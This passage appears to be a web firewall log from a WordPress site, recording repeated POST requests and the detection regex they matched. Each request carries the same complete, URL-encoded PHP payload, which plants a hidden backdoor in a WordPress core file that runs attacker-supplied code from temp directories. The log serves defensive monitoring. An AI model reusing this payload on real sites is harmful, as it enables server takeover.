252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:59:07","101.100.3.213","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4393\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nlX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:00:25","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4393\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nAT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:00:27","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4393\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nLJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2